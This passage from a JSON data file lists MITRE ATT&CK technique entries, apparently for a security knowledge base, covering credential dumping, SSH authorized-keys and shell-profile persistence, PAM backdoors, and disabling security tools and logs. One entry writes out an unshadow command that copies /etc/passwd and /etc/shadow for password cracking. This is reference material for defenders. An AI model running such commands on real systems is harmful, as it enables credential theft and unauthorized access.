which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1554", + "text": "ATT&CK technique: T1554 Compromise Host Software Binary\nDescription: Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications. Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., Modify Authentication Process). An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching) prior to the binary’s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow. After modifying a binary, an adversary may attempt to impair defenses by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).\nTactics: persistence\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1552.008", + "text": "ATT&CK technique: T1552.008 Chat Messages\nDescription: Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation .\nTactics: credential access\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1098.001", + "text": "ATT&CK technique: T1098.001 Additional Cloud Credentials\nDescription: Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment. For example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure / Entra ID. These credentials include both x509 keys and passwords. With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules. In infrastructure-as-a-service (IaaS) environments, after gaining access through Cloud Accounts, adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP. This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts. Adversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. Alternatively, they may use the CreateLoginProfile API in AWS to add a password that can be used to log into the AWS Management Console for Cloud Service Dashboard. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. Cloud Accounts). For example, in Entra ID environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator. In AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to Forge Web Credentials tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated. In Entra ID environments with the app password feature enabled, adversaries may be able to add an app password to a user account. As app passwords are intended to be used with legacy devices that do not support multi-factor authentication (MFA), adding an app password can allow an adversary to bypass MFA requirements. Additionally, app passwords may remain valid even if the user’s primary password is reset.\nTactics: persistence, privilege escalation\nPlatforms: IaaS, Identity Provider, SaaS" + }, + { + "id": "T1098.004", + "text": "ATT&CK technique: T1098.004 SSH Authorized Keys\nDescription: Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions, macOS, and ESXi hypervisors commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under /.ssh/authorized_keys (or, on ESXi, `/etc/ssh/keys-/authorized_keys`). Users may edit the system’s SSH config file to modify the directives `PubkeyAuthentication` and `RSAAuthentication` to the value `yes` to ensure public key and RSA authentication are enabled, as well as modify the directive `PermitRootLogin` to the value `yes` to enable root authentication via SSH. The SSH config file is usually located under /etc/ssh/sshd_config. Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account. Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH. It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user. Where authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. SSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` Network Device CLI command.\nTactics: persistence, privilege escalation\nPlatforms: ESXi, IaaS, Linux, Network Devices, macOS" + }, + { + "id": "T1003", + "text": "ATT&CK technique: T1003 OS Credential Dumping\nDescription: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1685", + "text": "ATT&CK technique: T1685 Disable or Modify Tools\nDescription: Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities. This may include stopping specific services, killing processes, modifying or deleting tool configuration files and Registry keys, or preventing tools from updating. This may also include impairing defenses more broadly by disrupting preventative, detection, and response mechanisms across host, network, and cloud environments. In addition to directly targeting tools, adversaries may block or manipulate indicators and telemetry used for detection. This includes maliciously disabling or redirecting sensors such as Event Tracing for Windows (ETW), modifying event log configurations (e.g., redirecting Security logs), or interfering with logging pipelines and forwarding mechanisms (e.g., SIEM ingestion). More advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents. Adversaries may also disrupt broader defensive operations, including update mechanisms, logging infrastructure (e.g., syslog), or event aggregation, further degrading an organization’s ability to detect and respond to malicious activity.\nTactics: defense impairment\nPlatforms: Containers, ESXi, IaaS, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1110.004", + "text": "ATT&CK technique: T1110.004 Credential Stuffing\nDescription: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1078.003", + "text": "ATT&CK technique: T1078.003 Local Accounts\nDescription: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1584.006", + "text": "ATT&CK technique: T1584.006 Web Services\nDescription: Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1586.003", + "text": "ATT&CK technique: T1586.003 Cloud Accounts\nDescription: Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or Phishing. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers. A variety of methods exist for compromising cloud accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, conducting Password Spraying attacks, or attempting to Steal Application Access Tokens. Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a Trusted Relationship between service providers and their customers.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1185", + "text": "ATT&CK technique: T1185 Browser Session Hijacking\nDescription: Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques. A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet. Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as Sharepoint or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.\nTactics: collection\nPlatforms: Windows" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1036.010", + "text": "ATT&CK technique: T1036.010 Masquerade Account Name\nDescription: Adversaries may match or approximate the names of legitimate accounts to make newly created ones appear benign. This will typically occur during Create Account, although accounts may also be renamed at a later date. This may also coincide with Account Access Removal if the actor first deletes an account before re-creating one with the same name. Often, adversaries will attempt to masquerade as service accounts, such as those associated with legitimate software, data backups, or container cluster management. They may also give accounts generic, trustworthy names, such as “admin”, “help”, or “root.” Sometimes adversaries may model account names off of those already existing in the system, as a follow-on behavior to Account Discovery. Note that this is distinct from Impersonation, which describes impersonating specific trusted individuals or organizations, rather than user or service account names.\nTactics: stealth\nPlatforms: Containers, IaaS, Identity Provider, Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1556", + "text": "ATT&CK technique: T1556 Modify Authentication Process\nDescription: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1684", + "text": "ATT&CK technique: T1684 Social Engineering\nDescription: Adversaries may use social engineering techniques to influence users to take actions that result in unauthorized access, approval of changes, disclosure of sensitive information, or execution of adversary-supplied instructions (i.e., introduction of malicious payloads or software), while minimizing technical indicators. Adversaries may leverage trust-building methods across multiple channels (e.g., executive, vendor, or help desk scenarios, including AI-enabled voice interactions) to prompt user-authorized actions such as password resets, MFA changes, financial approvals, or the disclosure of sensitive information. Adversaries may also leverage common business communications and workflows such as email, collaboration platforms, voice communications, recruiting processes, help desk interactions, and SaaS consent mechanisms to make malicious requests appear routine and legitimate. Additionally, adversaries have persuaded victims to take actions through references of current events, harnessing relevant themes to the work role or the organizations mission. For example, adversaries may use scare tactics (i.e., threaten repercussions for non-compliance) or otherwise incite victims’ emotions in order to generate a sense of urgency to take action. This technique may include common social engineering patterns such as Phishing and Spearphishing Voice, often supported by convincing and targeted narratives.\nTactics: stealth\nPlatforms: Linux, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1213.003", + "text": "ATT&CK technique: T1213.003 Code Repositories\nDescription: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or Unsecured Credentials contained within software's source code. Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts. **Note:** This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.\nTactics: collection\nPlatforms: SaaS" + }, + { + "id": "T1552.001", + "text": "ATT&CK technique: T1552.001 Credentials In Files\nDescription: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. They may also be found as parameters to deployment commands in container logs. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.\nTactics: credential access\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1021.004", + "text": "ATT&CK technique: T1021.004 SSH\nDescription: Adversaries may use Valid Accounts to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter. The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., SSH Authorized Keys).\nTactics: lateral movement\nPlatforms: ESXi, Linux, macOS" + }, + { + "id": "T1070.008", + "text": "ATT&CK technique: T1070.008 Clear Mailbox Data\nDescription: Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. Adversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the ExchangePowerShell PowerShell module, including Remove-MailboxExportRequest to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called mail or use AppleScript to interact with APIs on macOS. Adversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.\nTactics: stealth\nPlatforms: Linux, Office Suite, Windows, macOS" + }, + { + "id": "T1563", + "text": "ATT&CK technique: T1563 Remote Service Session Hijacking\nDescription: Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service. Adversaries may commandeer these sessions to carry out actions on remote systems. Remote Service Session Hijacking differs from use of Remote Services because it hijacks an existing session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1593.003", + "text": "ATT&CK technique: T1593.003 Code Repositories\nDescription: Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Adversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing). **Note:** This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1563.001", + "text": "ATT&CK technique: T1563.001 SSH Hijacking\nDescription: Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. SSH Hijacking differs from use of SSH because it hijacks an existing SSH session rather than creating a new session using Valid Accounts.\nTactics: lateral movement\nPlatforms: Linux, macOS" + }, + { + "id": "T1056.001", + "text": "ATT&CK technique: T1056.001 Keylogging\nDescription: Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include: * Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data. * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. * Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1586.002", + "text": "ATT&CK technique: T1586.002 Email Accounts\nDescription: Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains). A variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules. Adversaries can use a compromised email account to hijack existing email threads with targets of interest.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1546.004", + "text": "ATT&CK technique: T1546.004 Unix Shell Configuration Modification\nDescription: Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc) and the user’s home directory (~/) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. Adversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile and /etc/profile.d files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile, ~/.bash_login, or ~/.profile which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile to ensure execution. Adversaries have also leveraged the ~/.bashrc file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout file to execute malicious commands at the end of a session. For macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile, /etc/zshenv, /etc/zprofile, and /etc/zlogin. The login shell then configures the user environment with ~/.zprofile and ~/.zlogin. The interactive shell uses the ~/.zshrc to configure the user environment. Upon exiting, /etc/zlogout and ~/.zlogout are executed. For legacy programs, macOS executes /etc/bashrc on startup.\nTactics: persistence, privilege escalation\nPlatforms: Linux, macOS" + }, + { + "id": "T1003.008", + "text": "ATT&CK technique: T1003.008 /etc/passwd and /etc/shadow\nDescription: Adversaries may attempt to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking. Most modern Linux operating systems use a combination of /etc/passwd and /etc/shadow to store user account information, including password hashes in /etc/shadow. By default, /etc/shadow is only readable by the root user. Linux stores user information such as user ID, group ID, home directory path, and login shell in /etc/passwd. A \"user\" on the system may belong to a person or a service. All password hashes are stored in /etc/shadow - including entries for users with no passwords and users with locked or disabled accounts. Adversaries may attempt to read or dump the /etc/passwd and /etc/shadow files on Linux systems via command line utilities such as the cat command. Additionally, the Linux utility unshadow can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper - for example, via the command /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db. Since the user information stored in /etc/passwd are linked to the password hashes in /etc/shadow, an adversary would need to have access to both.\nTactics: credential access\nPlatforms: Linux" + }, + { + "id": "T1584.001", + "text": "ATT&CK technique: T1584.001 Domains\nDescription: Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53). Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain. Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1491.001", + "text": "ATT&CK technique: T1491.001 Internal Defacement\nDescription: An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites or server login messages, or directly to user systems with the replacement of the desktop wallpaper. Disturbing or offensive images may be used as a part of Internal Defacement in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.\nTactics: impact\nPlatforms: ESXi, Linux, Windows, macOS" + }, + { + "id": "T1204", + "text": "ATT&CK technique: T1204 User Execution\nDescription: An adversary may rely upon specific actions by a user in order to gain execution. Users may be subjected to social engineering to get them to execute malicious code by, for example, opening a malicious document file or link. These user actions will typically be observed as follow-on behavior from forms of Phishing. While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing. Adversaries may also deceive users into performing actions such as: * Enabling Remote Access Tools, allowing direct control of the system to the adversary * Running malicious JavaScript in their browser, allowing adversaries to Steal Web Session Cookies * Downloading and executing malware for User Execution * Coerceing users to copy, paste, and execute malicious code manually For example, tech support scams can be facilitated through Phishing, vishing, or various forms of user interaction. Adversaries can use a combination of these methods, such as spoofing and promoting toll-free numbers or call centers that are used to direct victims to malicious websites, to deliver and execute payloads containing malware or Remote Access Tools.\nTactics: execution\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1556.003", + "text": "ATT&CK technique: T1556.003 Pluggable Authentication Modules\nDescription: Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow. Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials. Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.\nTactics: credential access, defense impairment, persistence\nPlatforms: Linux, macOS" + }, + { + "id": "T1685.003", + "text": "ATT&CK technique: T1685.003 Modify or Spoof Tool UI\nDescription: Adversaries may spoof or manipulate security tool user interfaces (UIs) to falsely indicate tools are functioning normally and delay detection and response. Adversaries may present misleading or falsified security tool interfaces (UIs) that display normal or healthy status indicators, even when underlying security tools have been disabled, degraded, or otherwise tampered with. Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system. This behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity. For example, adversaries may display a fake Windows Security interface or system tray icon indicating a “protected” or “healthy” state after disabling Windows Defender or related services.\nTactics: defense impairment\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1685.002", + "text": "ATT&CK technique: T1685.002 Disable or Modify Cloud Log\nDescription: An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity. They may alternatively tamper with logging functionality, for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files. In Office 365, an adversary may disable logging on mail collection activities for specific users by using the 